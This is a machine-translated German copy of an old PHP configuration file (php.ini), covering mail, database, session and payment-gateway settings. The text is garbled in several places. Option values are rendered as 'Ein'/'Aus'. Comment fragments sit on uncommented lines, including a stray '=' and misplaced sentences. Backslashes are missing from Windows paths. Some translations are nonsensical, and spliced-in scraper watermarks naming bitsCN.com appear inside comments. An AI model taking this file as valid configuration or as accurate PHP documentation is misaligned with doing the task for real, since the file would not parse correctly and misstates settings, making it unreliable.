;;;;;;;;;;;;;;;;;;;
define_syslog_variables = Aus; Ob verschiedene Systemprotokollvariablen definiert werden sollen
; Wie zum Beispiel: $LOG_PID, $LOG_CRON usw.
; Das Ausschalten ist eine gute Idee, um die Effizienz zu verbessern.
; Zur Laufzeit können Sie die Funktion define_syslog_variables() aufrufen, um diese Variablen zu definieren
[Mail-Funktion]
SMTP = localhost ; nur für Win32-Systeme
sendmail_from [email protected] ; nur für Win32-Systeme
;sendmail_path = ;nur für Unix, unterstützt auch Parameter (Standard ist 'sendmail -t -i')
[Debugger]
debugger.host = localhost
debugger.port = 7869
debugger.enabled = False
[Protokollierung]
; Diese Konfigurationen geben den für die Beispiele verwendeten Protokollierungsmechanismus an.
; Weitere Erläuterungen finden Sie unter „examples/README.logging“.
;logging.method = db
;logging.directory = /path/to/log/directory
[Java]
;java.class.path = .php_java.jar
;java.home = c:jdk
;java.library = c:jdkjrebinhotspotjvm.dll
;java.library.path = .
[SQL]
sql.safe_mode = Aus
[ODBC]
;uodbc.default_db = Noch nicht implementiert
;uodbc.default_user = Noch nicht implementiert
;uodbc.default_pw = Noch nicht implementiert
uodbc.allow_persistent = Ein; Dauerhafte Verbindungen zulassen oder deaktivieren
uodbc.check_persistent = Ein; Überprüfen Sie, ob die Verbindung noch verfügbar ist, bevor Sie sie erneut verwenden
uodbc.max_persistent = -1; Maximale Anzahl persistenter Verbindungen -1 bedeutet unbegrenzt
uodbc.max_links = -1; Die maximale Anzahl von Verbindungen (persistent und nicht persistent) steht für unbegrenzte Netzwerkverwaltung u.bitsCN.com
uodbc.defaultlrl = 4096; Steuert Felder vom Typ LONG. Gibt die Anzahl der Bytes der Variablen zurück. 0 bedeutet Durchgang (?), 0 bedeutet Durchgang
uodbc.defaultbinmode = 1; Binärdaten steuern 0 bedeutet „Verarbeitung von Binärdaten“, 1 „Rückkehr wie sie sind“, 2 „Konvertieren in char“.
; Eine Erklärung von uodbc.defaultlrl und uodbc.defaultbinmode
[MySQL]
finden Sie in der Dokumentation zu odbc_binmode und odbc_longreadlen.
mysql.allow_persistent = Ein; Dauerhafte Verbindungen zulassen oder deaktivieren
mysql.max_persistent = -1; Maximale Anzahl persistenter Verbindungen -1 bedeutet unbegrenzt
mysql.max_links = -1 ; Maximale Anzahl von Verbindungen (persistent und nicht persistent). -1 bedeutet unbegrenzt
mysql.default_port = ; Der von mysql_connect() verwendete Standardport, wenn nicht festgelegt, mysql_connect().
; verwendet die Variable $MYSQL_TCP_PORT oder den mysql-tcp-Eintrag unter /etc/services (Unix),
; Oder MYSQL_PORT wird während der Kompilierung definiert (in dieser Reihenfolge)
; Win32-Umgebung, nur MYSQL_PORT wird überprüft.
mysql.default_socket = ; Der Standard-Socket-Name, der für lokale MySQL-Verbindungen verwendet wird. Wenn leer, verwenden Sie den in MYSQL integrierten Wert.
=
; Der von mysql_connect() standardmäßig verwendete Host (ungültig im abgesicherten Modus).
mysql_connect() Standardmäßig verwendeter Benutzername (ungültig im abgesicherten Modus)
mysql.default_password = ; Das von mysql_connect() standardmäßig verwendete Passwort (im abgesicherten Modus ungültig)
; Beachten Sie, dass das Speichern von Passwörtern in dieser Datei im Allgemeinen eine *schlechte* Idee ist
; *Jeder* Benutzer mit Zugriff auf PHP kann ausführen
; 'echo cfg_get_var("mysql.default_password")' um dieses Passwort anzuzeigen!
; Und natürlich kann jeder Benutzer mit Leserechten für die Datei auch dieses Passwort sehen
.
msql.allow_persistent = Ein; Dauerhafte Verbindungen zulassen oder deaktivieren
msql.max_persistent = -1; Maximale Anzahl persistenter Verbindungen -1 bedeutet unbegrenzt
msql.max_links = -1 ; Maximale Anzahl von Verbindungen (persistent und nicht-persistent) -1 bedeutet unbegrenzt
[PostgresSQL]
pgsql.allow_persistent = Ein; Dauerhafte Verbindungen zulassen oder deaktivieren
pgsql.max_persistent = -1; Maximale Anzahl dauerhafter Verbindungen
pgsql.max_links = -1 ; Maximale Anzahl von Verbindungen (persistent und nicht persistent) -1 bedeutet unbegrenzt
[Sybase]
sybase.allow_persistent = Ein; dauerhafte Verbindungen zulassen oder deaktivieren.
sybase.max_persistent = -1; Maximale Anzahl dauerhafter Verbindungen
sybase.max_links = -1; Maximale Anzahl von Verbindungen (persistent und nicht persistent).
;sybase.interface_file = "/usr/sybase/interfaces"
sybase.min_error_severity = 10 ; Minimaler Schweregrad der angezeigten Fehler
sybase.min_message_severity = 10 ; Mindestschweregrad der angezeigten Nachrichten
sybase.compatability_mode = Aus; Kompatibilitätsmodus mit älteren Versionen von PHP 3.0. Wenn aktiviert, führt dies dazu, dass PHP automatisch aktiviert wird
; Weisen Sie ihnen entsprechend dem Ergebnis den Sybase-Typ zu,
; Anstatt sie alle als Zeichenfolgen zu behandeln.
; Dieser Kompatibilitätsmodus wird nicht ewig bestehen bleiben,
; Nehmen Sie daher die notwendigen Änderungen an Ihrem Code vor,
; und schließen Sie das Element
.
sybct.allow_persistent = Ein; Dauerhafte Verbindungen zulassen oder deaktivieren
sybct.max_persistent = -1; Maximale Anzahl dauerhafter Verbindungen
sybct.max_links = -1 ; Maximale Anzahl von Verbindungen (persistent und nicht persistent). -1 bedeutet unbegrenzt
sybct.min_server_severity = 10 ; Minimaler Schweregrad der angezeigten Fehler
sybct.min_client_severity = 10 ; Mindestschweregrad der angezeigten Nachrichten
[bcmath]
bcmath.scale = 0 ; Anzahl der Dezimalstellen für alle bcmath-Funktionen
[browscap]
;browscap = extra/browscap.ini
browscap = C:WINSYSTEMinetsrvbrowscap.ini
[Informix]
ifx.default_host = ; Der von ifx_connect() standardmäßig verwendete Host (im abgesicherten Modus ungültig)
ifx.default_user = ; Der von ifx_connect() verwendete Standardbenutzername (im abgesicherten Modus ungültig)
ifx.default_password = ; das von ifx_connect() verwendete Standardpasswort (im abgesicherten Modus ungültig)
ifx.allow_persistent = Ein; Dauerhafte Verbindungen zulassen oder deaktivieren
ifx.max_persistent = -1 ; Maximale Anzahl persistenter Verbindungen -1 bedeutet unbegrenzt
ifx.max_links = -1 ; Maximale Anzahl von Verbindungen (persistent und nicht persistent).
ifx.textasvarchar = 0 ; Wenn aktiviert, gibt das Auswahlstatussymbol den Inhalt eines „Textblob“-Felds anstelle seiner ID zurück
ifx.byteasvarchar = 0 ; Wenn aktiviert, gibt das Select-Statussymbol den Inhalt eines „Byte-Blob“-Felds anstelle seiner ID zurück
ifx.charasvarchar = 0 ; Verfolgen Sie Leerzeichen, die aus einer Zeichenfolge fester Länge entfernt wurden.
; Gilt möglicherweise für Informix SE-Benutzer.
ifx.blobinfile = 0 ; Wenn aktiviert, werden die Inhalte von Text- und Byte-Blobs in eine Datei exportiert
; statt im Speicher zu speichern.
ifx.nullformat = 0 ; NULL wird als Nullfeld zurückgegeben, sofern es hier nicht auf 1 gesetzt ist.
; In diesem Fall (1) wird NULL als String
[Sitzung]
zurückgegeben.
session.save_handler = files; Steuermethode zum Speichern/Abrufen von Daten
session.save_path = C:wintemp; Parameter, die an den Controller übergeben werden, wenn save_handler auf eine Datei gesetzt ist,
; Dies ist der Pfad, in dem die Datendateien gespeichert werden.
session.use_cookies = 1; Ob Cookies verwendet werden sollen
session.name = PHPSESSID
; Der Name der Sitzung, die im Cookie verwendet werden soll
session.auto_start = 0; Sitzung initialisieren, wenn die Anfrage startet
session.cookie_lifetime = 0; ist die Cookie-Speicherzeit in Sekunden,
; oder 0, bis der Browser neu gestartet wird
session.cookie_path = / ; Gültiger Pfad des Cookies
session.cookie_domain = ; Gültige Domäne des Cookies
session.serialize_handler = php; Controller zum Verbinden von Daten
;php ist der Standard-Controller für PHP.
session.gc_probability = 1; 'Garbage Collection'-Prozesse nach Prozentsatz
; Möglichkeit, bei jeder Initialisierung der Sitzung den Netzwerkmanager bitscn_com zu starten
session.gc_maxlifetime = 1440 ; Nach der durch diese Zahl angegebenen Anzahl von Sekunden werden gespeicherte Daten berücksichtigt
; 'Fragment (Müll)' und durch den GC-Prozess bereinigt.
session.referer_check = ; HTTP-Referrer prüfen, um zusätzliche in URLs enthaltene IDs ungültig zu machen
session.entropy_length = 0 ; Wie viele Bytes aus der Datei gelesen werden sollen
session.entropy_file = ; Geben Sie hier an, um eine Sitzungs-ID zu erstellen
; session.entropy_length = 16
; session.entropy_file = /dev/urandom
session.cache_limiter = nocache; Auf {nocache, private, public} setzen, um das HTTP zu bestimmen
; Caching-Problem
session.cache_expire = 180 ; Das Dokument läuft nach n Minuten ab
session.use_trans_sid = 1 ; Übergangs-SID-Unterstützung verwenden, falls zur Kompilierzeit aktiviert
; --enable-trans-sid
url_rewriter.tags = "a=href,area=href,frame=src,input=src,form=fakeentry"
[MSSQL]
;extension=php_mssql.dll
mssql.allow_persistent = Ein; Dauerhafte Verbindungen zulassen oder deaktivieren
mssql.max_persistent = -1; Maximale Anzahl dauerhafter Verbindungen
mssql.max_links = -1; Die maximale Anzahl von Verbindungen (persistent und nicht persistent) steht für unbegrenzte Netzwerkverwaltung u.bitsCN.com
mssql.min_error_severity = 10; Minimaler Schweregrad der angezeigten Fehler
mssql.min_message_severity = 10 ; Mindestschweregrad der angezeigten Nachrichten
mssql.compatability_mode
= Aus; Modus kompatibel mit älteren Versionen von PHP 3.0.
; ? ? ? ? ?
;assert.active = Ein ; Assert(expr); standardmäßig aktiv
;assert.warning = Ein ; Ausgabe einer PHP-Warnung für jede fehlgeschlagene Behauptung.
;assert.bail = Aus; standardmäßig nicht aussteigen.
;assert.callback = 0 ; aufzurufende Benutzerfunktion, wenn eine Behauptung fehlschlägt.
;assert.quiet_eval = 0 ; Werten Sie den Ausdruck mit dem aktuellen Wert „error_reporting()“ aus, wenn Sie „error_reporting(0)“ um „eval()“ wünschen
.
ii.allow_persistent = Ein; Dauerhafte Verbindungen zulassen oder deaktivieren
ii.max_persistent = -1; Die maximale Anzahl persistenter Verbindungen bedeutet unbegrenzt
ii.max_links = -1 ; Maximale Anzahl von Verbindungen (persistent und nicht persistent).
ii.default_database = ; Standarddatenbank (Format: [node_id::]dbname[/srv_class]
ii.default_user = ;Standardbenutzer
ii.default_password = ; Standardpasswort Netzwerkverwaltung herunterladen dl.bitscn.com
[Verisign Payflow Pro]
pfpro.defaulthost = "test.signio.com" ; Standard-Signio-Server
pfpro.defaultport = 443; Standardport für die Verbindung
pfpro.defaulttimeout = 30 ; Standard-Timeout in Sekunden
; pfpro.proxyaddress = ; Standard-Proxy-IP-Adresse (falls erforderlich)
; pfpro.proxyport = ; Standard-Proxy-Port
; pfpro.proxylogon = ; Standard-Proxy-Login (Anmeldename)
; pfpro.proxypassword = ; Standard-Proxy-Passwort
[Sockets]
sockets.use_system_read = Ein; Verwenden Sie die read()-Funktion des Systems anstelle des php_read()-Pakets
; Lokale Variablen: (lokale Variablen)
; Tab-Breite: 4
; Ende: